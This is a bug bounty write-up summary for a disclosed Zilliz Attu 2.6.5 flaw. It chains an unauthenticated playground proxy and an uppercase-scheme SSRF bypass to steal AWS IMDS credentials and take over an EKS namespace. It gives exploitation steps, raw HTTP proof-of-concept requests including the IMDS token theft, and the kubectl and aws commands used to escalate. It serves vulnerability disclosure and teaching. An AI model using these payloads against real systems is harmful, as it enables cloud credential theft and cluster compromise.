# Zilliz / Attu | 2.6.5

Unauthenticated Attu Playground endpoint proxied requests to AWS IMDS via uppercase-scheme URL parser mismatch, yielding EKS node credentials and namespace takeover.

- Payout: Research
- Severity: critical
- Program: Zilliz Attu
- Write-up by: Berenice Flores
- Disclosed: 2026-09-29
- CVE: CVE-2026-105048, CVE-2026-105049
- Write-up quality: 9/10
- Original: https://bishopfox.com/blog/zilliz-attu-2-6-5
- Library page: https://bugbountylibrary.com/r/blog%3Abishopfox-com-blog-zilliz-attu-2-6-5
- Tags: area:cloud domain:cloud domain:web impact:internal-access impact:privesc kind:research platform:research sev:critical tech:aws tech:kubernetes tech:nodejs technique:parser-differential technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration vuln:ssrf

**Target:** Attu Playground API (/api/v1/playground) on Milvus admin GUI
**Root cause:** Middleware skipped auth when milvus-client-id header was absent (empty string falsy), and playground.service's case-sensitive absolute-URL regex misclassified 'HTTP://...' as relative, so checkUrl validated the public host while Axios (case-insensitive regex) used the attacker url.
**Steps:**
1. Send `POST /api/v1/playground` with no `milvus-client-id` header and body `{"host":"http://<collaborator>","url":"/playground_milvus","headers":{},"method":"GET"}` to confirm unauthenticated proxying.
2. Bypass private-IP check: set `host` to a public URL and `url` to `hTtp://10.1.1.11:3000/` (capitalized scheme letter); response returns internal Attu content.
3. Fetch IMDSv2 token: `{"url":"HTTP://169.254.169.254/latest/api/token/","host":"http://<public>","headers":{"X-aws-ec2-metadata-token-ttl-seconds":"21600"},"method":"PUT"}`.
4. Use token to GET `/latest/meta-data/iam/security-credentials/<role>` and retrieve AccessKeyId/SecretAccessKey/Token.
5. Export creds, `aws sts get-caller-identity`, `aws ec2 describe-instances` for cluster name, `aws eks update-kubeconfig` to authenticate as system:node.
6. `kubectl create token <sa> --bound-object-kind Pod ...` for privileged service account, then create privileged hostPath pod with reverse shell.
**How found:** Source review of middleware found auth gated on truthy milvusClientId; playground controller skipped validation when cache lookup missed. Noticed Attu's absolute-URL regex was case-sensitive while Axios's was case-insensitive, hypothesizing a parser differential to desync validated host from fetched URL.
**Exploitation:** Unauthenticated attacker with network access to Attu posts to /api/v1/playground; parser mismatch lets Axios reach 169.254.169.254 despite private-IP filter. IMDSv2 token then IAM role creds exfiltrated, used to auth to public EKS API as node identity, mint service account token, deploy privileged pod with hostPath / and hostNetwork for root reverse shell in namespace.
**Escalation:** SSRF -> IMDS credentials -> EKS node identity -> service account token creation -> privileged pod -> namespace compromise and potential wider cloud access.
**Insight:** When a proxy validates one field but the HTTP client resolves another, hunt for classification mismatches between the app's URL parser and the client library's (case sensitivity, scheme handling); a capitalized scheme letter can desync SSRF allowlist checks from actual fetch target.

## Proof of concept (copied exactly from the original report)

**Unauthenticated playground proxy request to external URL**

```
POST /api/v1/playground HTTP/1.1 
Host: <attu-server>:3000 
Content-Length: 111 
Content-Type: application/json 

{"host":"http://[REDACTED]","url":"/playground_milvus","headers":{},"method":"GET"}


Response
```

**Uppercase scheme bypass to internal Attu URL**

```
POST /api/v1/playground HTTP/1.1 
Host: 10.1.1.11:3000 
…omitted for brevity… 
Content-Type: application/json 
Content-Length: 70 

{ 
 "host":"http://10.1.1.11:3000", 
 "url":"/", 
 "headers":{}, 
 "method":"GET" 
}
```

**IMDSv2 token theft via uppercase HTTP scheme**

```
POST /api/v1/playground HTTP/1.1 
Host: <attu-endpoint>:3000 
Content-Length: 429 
…omitted for brevity… 
Content-Type: application/json 

{"url":"HTTP://169.254.169.254/latest/api/token/","host":"http://[REDACTED]","headers":{"X-aws-ec2-metadata-token-ttl-seconds":"21600"},"method":"PUT","body":{"collectionName":"attu_milvus_example","schema":{"fields":[{"fieldName":"pk","dataType":"VarChar","isPrimary":true,"elementTypeParams":{"max_length":100}},{"fieldName":"dense_vector","dataType":"FloatVector","elementTypeParams":{"dim":4}}]}}}
```

